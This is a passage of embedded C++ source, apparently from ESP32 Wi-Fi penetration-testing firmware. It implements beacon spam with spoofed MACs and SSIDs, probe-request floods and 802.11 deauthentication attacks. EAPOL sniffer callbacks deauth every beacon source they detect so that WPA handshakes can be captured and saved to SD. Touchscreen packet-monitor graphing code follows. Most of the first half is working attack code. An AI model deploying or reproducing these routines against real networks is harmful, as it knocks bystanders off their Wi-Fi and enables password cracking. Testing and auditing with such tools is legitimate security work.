  2040. packet[13] = packet[19] = random(256);
  2041. packet[14] = packet[20] = random(256);
  2042. packet[15] = packet[21] = random(256);
  2043. char ESSID[custom_ssid.essid.length() + 1] = {};
  2044. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2045. int realLen = strlen(ESSID);
  2046. int ssidLen = random(realLen, 33);
  2047. int numSpace = ssidLen - realLen;
  2048. //int rand_len = sizeof(rand_reg);
  2049. int fullLen = ssidLen;
  2050. packet[37] = fullLen;
  2051. // Insert my tag
  2052. for(int i = 0; i < realLen; i++)
  2053. packet[38 + i] = ESSID[i];
  2054. for(int i = 0; i < numSpace; i++)
  2055. packet[38 + realLen + i] = 0x20;
  2056. /////////////////////////////
  2057. packet[50 + fullLen] = set_channel;
  2058. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2059. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2060. // Add everything that goes after the SSID
  2061. //for(int i = 0; i < 12; i++)
  2062. // packet[38 + fullLen + i] = postSSID[i];
  2063. packet[34] = custom_ssid.beacon->get(0);
  2064. packet[35] = custom_ssid.beacon->get(1);
  2065. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2066. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2067. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2068. packets_sent = packets_sent + 3;
  2069. }
  2070. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  2071. set_channel = random(1,12);
  2072. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2073. delay(1);
  2074. // Randomize SRC MAC
  2075. packet[10] = packet[16] = custom_ssid.bssid[0];
  2076. packet[11] = packet[17] = custom_ssid.bssid[1];
  2077. packet[12] = packet[18] = custom_ssid.bssid[2];
  2078. packet[13] = packet[19] = custom_ssid.bssid[3];
  2079. packet[14] = packet[20] = custom_ssid.bssid[4];
  2080. packet[15] = packet[21] = custom_ssid.bssid[5];
  2081. char ESSID[custom_ssid.essid.length() + 1] = {};
  2082. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2083. int ssidLen = strlen(ESSID);
  2084. //int rand_len = sizeof(rand_reg);
  2085. int fullLen = ssidLen;
  2086. packet[37] = fullLen;
  2087. // Insert my tag
  2088. for(int i = 0; i < ssidLen; i++)
  2089. packet[38 + i] = ESSID[i];
  2090. /////////////////////////////
  2091. packet[50 + fullLen] = set_channel;
  2092. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2093. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2094. // Add everything that goes after the SSID
  2095. for(int i = 0; i < 12; i++)
  2096. packet[38 + fullLen + i] = postSSID[i];
  2097. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2098. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2099. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2100. packets_sent = packets_sent + 3;
  2101. }
  2102. // Function to send beacons with random ESSID length
  2103. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  2104. set_channel = random(1,12);
  2105. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2106. delay(1);
  2107. // Randomize SRC MAC
  2108. packet[10] = packet[16] = random(256);
  2109. packet[11] = packet[17] = random(256);
  2110. packet[12] = packet[18] = random(256);
  2111. packet[13] = packet[19] = random(256);
  2112. packet[14] = packet[20] = random(256);
  2113. packet[15] = packet[21] = random(256);
  2114. int ssidLen = strlen(ESSID);
  2115. //int rand_len = sizeof(rand_reg);
  2116. int fullLen = ssidLen;
  2117. packet[37] = fullLen;
  2118. // Insert my tag
  2119. for(int i = 0; i < ssidLen; i++)
  2120. packet[38 + i] = ESSID[i];
  2121. /////////////////////////////
  2122. packet[50 + fullLen] = set_channel;
  2123. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2124. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2125. // Add everything that goes after the SSID
  2126. for(int i = 0; i < 12; i++)
  2127. packet[38 + fullLen + i] = postSSID[i];
  2128. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2129. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2130. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2131. packets_sent = packets_sent + 3;
  2132. }
  2133. // Function for sending crafted beacon frames
  2134. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  2135. set_channel = random(1,12);
  2136. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2137. delay(1);
  2138. // Randomize SRC MAC
  2139. packet[10] = packet[16] = random(256);
  2140. packet[11] = packet[17] = random(256);
  2141. packet[12] = packet[18] = random(256);
  2142. packet[13] = packet[19] = random(256);
  2143. packet[14] = packet[20] = random(256);
  2144. packet[15] = packet[21] = random(256);
  2145. packet[37] = 6;
  2146. // Randomize SSID (Fixed size 6. Lazy right?)
  2147. packet[38] = alfa[random(65)];
  2148. packet[39] = alfa[random(65)];
  2149. packet[40] = alfa[random(65)];
  2150. packet[41] = alfa[random(65)];
  2151. packet[42] = alfa[random(65)];
  2152. packet[43] = alfa[random(65)];
  2153. packet[56] = set_channel;
  2154. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2155. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2156. // Add everything that goes after the SSID
  2157. for(int i = 0; i < 12; i++)
  2158. packet[38 + 6 + i] = postSSID[i];
  2159. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2160. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2161. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2162. packets_sent = packets_sent + 3;
  2163. }
  2164. // Function to send probe flood to all "active" access points
  2165. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  2166. // Itterate through all access points in list
  2167. for (int i = 0; i < access_points->size(); i++) {
  2168. // Check if active
  2169. if (access_points->get(i).selected) {
  2170. this->set_channel = access_points->get(i).channel;
  2171. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2172. delay(1);
  2173. // Build packet
  2174. // Randomize SRC MAC
  2175. prob_req_packet[10] = random(256);
  2176. prob_req_packet[11] = random(256);
  2177. prob_req_packet[12] = random(256);
  2178. prob_req_packet[13] = random(256);
  2179. prob_req_packet[14] = random(256);
  2180. prob_req_packet[15] = random(256);
  2181. // Set SSID length
  2182. int ssidLen = access_points->get(i).essid.length();
  2183. //int rand_len = sizeof(rand_reg);
  2184. int fullLen = ssidLen;
  2185. prob_req_packet[25] = fullLen;
  2186. // Insert ESSID
  2187. char buf[access_points->get(i).essid.length() + 1] = {};
  2188. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  2189. for(int i = 0; i < ssidLen; i++)
  2190. prob_req_packet[26 + i] = buf[i];
  2191. /*
  2192. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  2193. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  2194. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  2195. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  2196. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  2197. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2198. 0x00, 0x00
  2199. */
  2200. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  2201. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  2202. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  2203. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  2204. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  2205. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2206. 0x00, 0x00, 0x00, 0x00};
  2207. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  2208. for (int i = 0; i < 26 + fullLen; i++)
  2209. good_probe_req_packet[i] = prob_req_packet[i];
  2210. for(int i = 0; i < 40; i++)
  2211. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  2212. // Send packet
  2213. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2214. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2215. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2216. packets_sent = packets_sent + 3;
  2217. }
  2218. }
  2219. }
  2220. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  2221. // Itterate through all access points in list
  2222. // Check if active
  2223. WiFiScan::set_channel = channel;
  2224. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2225. delay(1);
  2226. // Build packet
  2227. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2228. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2229. deauth_frame_default[10] = bssid[0];
  2230. deauth_frame_default[11] = bssid[1];
  2231. deauth_frame_default[12] = bssid[2];
  2232. deauth_frame_default[13] = bssid[3];
  2233. deauth_frame_default[14] = bssid[4];
  2234. deauth_frame_default[15] = bssid[5];
  2235. deauth_frame_default[16] = bssid[0];
  2236. deauth_frame_default[17] = bssid[1];
  2237. deauth_frame_default[18] = bssid[2];
  2238. deauth_frame_default[19] = bssid[3];
  2239. deauth_frame_default[20] = bssid[4];
  2240. deauth_frame_default[21] = bssid[5];
  2241. // Send packet
  2242. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2243. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2244. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2245. packets_sent = packets_sent + 3;
  2246. }
  2247. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2248. // Itterate through all access points in list
  2249. for (int i = 0; i < access_points->size(); i++) {
  2250. // Check if active
  2251. if (access_points->get(i).selected) {
  2252. this->set_channel = access_points->get(i).channel;
  2253. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2254. delay(1);
  2255. // Build packet
  2256. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2257. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2258. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2259. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2260. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2261. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2262. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2263. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2264. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2265. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2266. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2267. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2268. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2269. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2270. // Send packet
  2271. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2272. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2273. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2274. packets_sent = packets_sent + 3;
  2275. }
  2276. }
  2277. }
  2278. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2279. {
  2280. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2281. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2282. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2283. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2284. int len = snifferPacket->rx_ctrl.sig_len;
  2285. String display_string = "";
  2286. #ifdef HAS_SCREEN
  2287. int buff = display_obj.display_buffer->size();
  2288. #else
  2289. int buff = 0;
  2290. #endif
  2291. if (type == WIFI_PKT_MGMT)
  2292. {
  2293. len -= 4;
  2294. int fctl = ntohs(frameControl->fctl);
  2295. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2296. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2297. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2298. #ifndef MARAUDER_MINI
  2299. if (snifferPacket->payload[0] == 0x80)
  2300. {
  2301. num_beacon++;
  2302. }
  2303. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2304. {
  2305. num_deauth++;
  2306. }
  2307. else if (snifferPacket->payload[0] == 0x40)
  2308. {
  2309. num_probe++;
  2310. }
  2311. #endif
  2312. char addr[] = "00:00:00:00:00:00";
  2313. getMAC(addr, snifferPacket->payload, 10);
  2314. display_string.concat(addr);
  2315. int temp_len = display_string.length();
  2316. #ifdef HAS_SCREEN
  2317. for (int i = 0; i < 40 - temp_len; i++)
  2318. {
  2319. display_string.concat(" ");
  2320. }
  2321. //Serial.print(" ");
  2322. #ifdef MARAUDER_MINI
  2323. if (display_obj.display_buffer->size() == 0)
  2324. {
  2325. display_obj.loading = true;
  2326. display_obj.display_buffer->add(display_string);
  2327. display_obj.loading = false;
  2328. }
  2329. #endif
  2330. #endif
  2331. if (save_packet)
  2332. sd_obj.addPacket(snifferPacket->payload, len);
  2333. }
  2334. }
  2335. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2336. {
  2337. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2338. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2339. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2340. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2341. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2342. int len = snifferPacket->rx_ctrl.sig_len;
  2343. String display_string = "";
  2344. if (type == WIFI_PKT_MGMT)
  2345. {
  2346. len -= 4;
  2347. int fctl = ntohs(frameControl->fctl);
  2348. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2349. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2350. }
  2351. #ifdef HAS_SCREEN
  2352. int buff = display_obj.display_buffer->size();
  2353. #else
  2354. int buff = 0;
  2355. #endif
  2356. // Found beacon frame. Decide whether to deauth
  2357. if (send_deauth) {
  2358. if (snifferPacket->payload[0] == 0x80) {
  2359. // Build packet
  2360. uint8_t new_packet[26] = {
  2361. 0xc0, 0x00, 0x3a, 0x01,
  2362. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2363. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2364. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2365. 0xf0, 0xff, 0x02, 0x00
  2366. };
  2367. new_packet[10] = snifferPacket->payload[10];
  2368. new_packet[11] = snifferPacket->payload[11];
  2369. new_packet[12] = snifferPacket->payload[12];
  2370. new_packet[13] = snifferPacket->payload[13];
  2371. new_packet[14] = snifferPacket->payload[14];
  2372. new_packet[15] = snifferPacket->payload[15];
  2373. new_packet[16] = snifferPacket->payload[10];
  2374. new_packet[17] = snifferPacket->payload[11];
  2375. new_packet[18] = snifferPacket->payload[12];
  2376. new_packet[19] = snifferPacket->payload[13];
  2377. new_packet[20] = snifferPacket->payload[14];
  2378. new_packet[21] = snifferPacket->payload[15];
  2379. // Send packet
  2380. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2381. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2382. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2383. delay(1);
  2384. }
  2385. }
  2386. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2387. num_eapol++;
  2388. Serial.println("Received EAPOL:");
  2389. char addr[] = "00:00:00:00:00:00";
  2390. getMAC(addr, snifferPacket->payload, 10);
  2391. display_string.concat(addr);
  2392. int temp_len = display_string.length();
  2393. #ifdef HAS_SCREEN
  2394. for (int i = 0; i < 40 - temp_len; i++)
  2395. {
  2396. display_string.concat(" ");
  2397. }
  2398. Serial.print(" ");
  2399. #ifdef MARAUDER_MINI
  2400. if (display_obj.display_buffer->size() == 0)
  2401. {
  2402. display_obj.loading = true;
  2403. display_obj.display_buffer->add(display_string);
  2404. display_obj.loading = false;
  2405. }
  2406. #endif
  2407. #endif
  2408. // for (int i = 0; i < len; i++) {
  2409. // char hexCar[4];
  2410. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2411. // Serial.print(hexCar);
  2412. //Serial.print(snifferPacket->payload[i], HEX);
  2413. // if ((i + 1) % 16 == 0)
  2414. // Serial.print("\n");
  2415. // else
  2416. // Serial.print(" ");
  2417. // }
  2418. // Serial.print("\n");
  2419. }
  2420. if (save_packet)
  2421. sd_obj.addPacket(snifferPacket->payload, len);
  2422. }
  2423. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2424. {
  2425. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2426. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2427. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2428. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2429. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2430. int len = snifferPacket->rx_ctrl.sig_len;
  2431. if (type == WIFI_PKT_MGMT)
  2432. {
  2433. len -= 4;
  2434. int fctl = ntohs(frameControl->fctl);
  2435. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2436. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2437. }
  2438. // Found beacon frame. Decide whether to deauth
  2439. if (snifferPacket->payload[0] == 0x80) {
  2440. // Build packet
  2441. //Serial.println("Recieved beacon frame");
  2442. uint8_t new_packet[26] = {
  2443. 0xc0, 0x00, 0x3a, 0x01,
  2444. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2445. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2446. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2447. 0xf0, 0xff, 0x02, 0x00
  2448. };
  2449. new_packet[10] = snifferPacket->payload[10];
  2450. new_packet[11] = snifferPacket->payload[11];
  2451. new_packet[12] = snifferPacket->payload[12];
  2452. new_packet[13] = snifferPacket->payload[13];
  2453. new_packet[14] = snifferPacket->payload[14];
  2454. new_packet[15] = snifferPacket->payload[15];
  2455. new_packet[16] = snifferPacket->payload[10];
  2456. new_packet[17] = snifferPacket->payload[11];
  2457. new_packet[18] = snifferPacket->payload[12];
  2458. new_packet[19] = snifferPacket->payload[13];
  2459. new_packet[20] = snifferPacket->payload[14];
  2460. new_packet[21] = snifferPacket->payload[15];
  2461. // Send packet
  2462. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2463. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2464. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2465. delay(1);
  2466. }
  2467. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2468. num_eapol++;
  2469. Serial.println("Received EAPOL:");
  2470. // for (int i = 0; i < len; i++) {
  2471. // char hexCar[3];
  2472. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2473. // Serial.print(hexCar);
  2474. //Serial.print(snifferPacket->payload[i], HEX);
  2475. // if ((i + 1) % 16 == 0)
  2476. // Serial.print("\n");
  2477. // else
  2478. // Serial.print(" ");
  2479. // }
  2480. // Serial.print("\n");
  2481. }
  2482. if (save_packet)
  2483. sd_obj.addPacket(snifferPacket->payload, len);
  2484. }
  2485. #ifdef HAS_SCREEN
  2486. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2487. {
  2488. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2489. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2490. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2491. {
  2492. currentTime = millis();
  2493. do_break = false;
  2494. y_pos_x = 0;
  2495. y_pos_y = 0;
  2496. y_pos_z = 0;
  2497. boolean pressed = false;
  2498. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2499. // Do the touch stuff
  2500. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2501. if (pressed) {
  2502. Serial.print("Got touch | X: ");
  2503. Serial.print(t_x);
  2504. Serial.print(" Y: ");
  2505. Serial.println(t_y);
  2506. }
  2507. // Check buttons for presses
  2508. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2509. {
  2510. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2511. {
  2512. display_obj.key[b].press(true);
  2513. } else {
  2514. display_obj.key[b].press(false);
  2515. }
  2516. }
  2517. // Which buttons pressed
  2518. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2519. {
  2520. if (display_obj.key[b].justPressed())
  2521. {
  2522. Serial.println("Bro, key pressed");
  2523. //do_break = true;
  2524. }
  2525. if (display_obj.key[b].justReleased())
  2526. {
  2527. do_break = true;
  2528. // Channel - button pressed
  2529. if (b == 4) {
  2530. if (set_channel > 1) {
  2531. Serial.println("Shit channel down");
  2532. set_channel--;
  2533. delay(70);
  2534. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2535. //display_obj.tftDrawXScaleButtons(x_scale);
  2536. //display_obj.tftDrawYScaleButtons(y_scale);
  2537. display_obj.tftDrawChannelScaleButtons(set_channel);
  2538. display_obj.tftDrawExitScaleButtons();
  2539. changeChannel();
  2540. break;
  2541. }
  2542. }
  2543. // Channel + button pressed
  2544. else if (b == 5) {
  2545. if (set_channel < MAX_CHANNEL) {
  2546. Serial.println("Shit channel up");
  2547. set_channel++;
  2548. delay(70);
  2549. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2550. //display_obj.tftDrawXScaleButtons(x_scale);
  2551. //display_obj.tftDrawYScaleButtons(y_scale);
  2552. display_obj.tftDrawChannelScaleButtons(set_channel);
  2553. display_obj.tftDrawExitScaleButtons();
  2554. changeChannel();
  2555. break;
  2556. }
  2557. }
  2558. else if (b == 6) {
  2559. Serial.println("Exiting packet monitor...");
  2560. this->StartScan(WIFI_SCAN_OFF);
  2561. //display_obj.tft.init();
  2562. this->orient_display = true;
  2563. return;
  2564. }
  2565. }
  2566. }
  2567. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2568. //Serial.println("-----------------------------------------");
  2569. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2570. x_pos += x_scale;
  2571. initTime = millis();
  2572. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2573. if (y_pos_x >= HEIGHT_1) {
  2574. Serial.println("Max EAPOL number reached. Adjusting...");
  2575. num_eapol = 0;
  2576. }
  2577. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2578. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2579. //Serial.println("num_beacon: " + (String)num_beacon);
  2580. //Serial.println("num_deauth: " + (String)num_deauth);
  2581. //Serial.println(" num_probe: " + (String)num_probe);
  2582. //num_beacon = 0;
  2583. //num_probe = 0;
  2584. //num_deauth = 0;
  2585. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2586. //Plot "X" value
  2587. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2588. //Plot "Z" value
  2589. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2590. //Plot "Y" value
  2591. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2592. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2593. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2594. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2595. {
  2596. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2597. }
  2598. else
  2599. {
  2600. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2601. }
  2602. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2603. //if (x_pos <= 90)
  2604. if (x_pos < 0) // below x axis
  2605. {
  2606. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2607. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2608. }
  2609. else
  2610. {
  2611. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2612. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2613. }
  2614. //tftDisplayTime();
  2615. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2616. {
  2617. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2618. }
  2619. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2620. //y_pos_y_old = y_pos_y;
  2621. //y_pos_z_old = y_pos_z;
  2622. //delay(50);
  2623. }
  2624. sd_obj.main();
  2625. }
  2626. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2627. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2628. display_obj.tftDrawChannelScaleButtons(set_channel);
  2629. display_obj.tftDrawExitScaleButtons();
  2630. display_obj.tftDrawEapolColorKey();
  2631. display_obj.tftDrawGraphObjects(x_scale);
  2632. }
  2633. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2634. {
  2635. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2636. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2637. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2638. {
  2639. currentTime = millis();
  2640. do_break = false;
  2641. y_pos_x = 0;
  2642. y_pos_y = 0;
  2643. y_pos_z = 0;
  2644. boolean pressed = false;
  2645. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2646. // Do the touch stuff
  2647. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2648. if (pressed) {
  2649. Serial.print("Got touch | X: ");
  2650. Serial.print(t_x);
  2651. Serial.print(" Y: ");
  2652. Serial.println(t_y);
  2653. }
  2654. // Check buttons for presses
  2655. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2656. {
  2657. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2658. {
  2659. display_obj.key[b].press(true);
  2660. } else {
  2661. display_obj.key[b].press(false);
  2662. }
  2663. }
  2664. // Which buttons pressed
  2665. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2666. {
  2667. if (display_obj.key[b].justPressed())
  2668. {
  2669. Serial.println("Bro, key pressed");
  2670. //do_break = true;
  2671. }
  2672. if (display_obj.key[b].justReleased())
  2673. {
  2674. do_break = true;
  2675. // X - button pressed
  2676. if (b == 0) {
  2677. if (x_scale > 1) {
  2678. x_scale--;
  2679. delay(70);
  2680. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
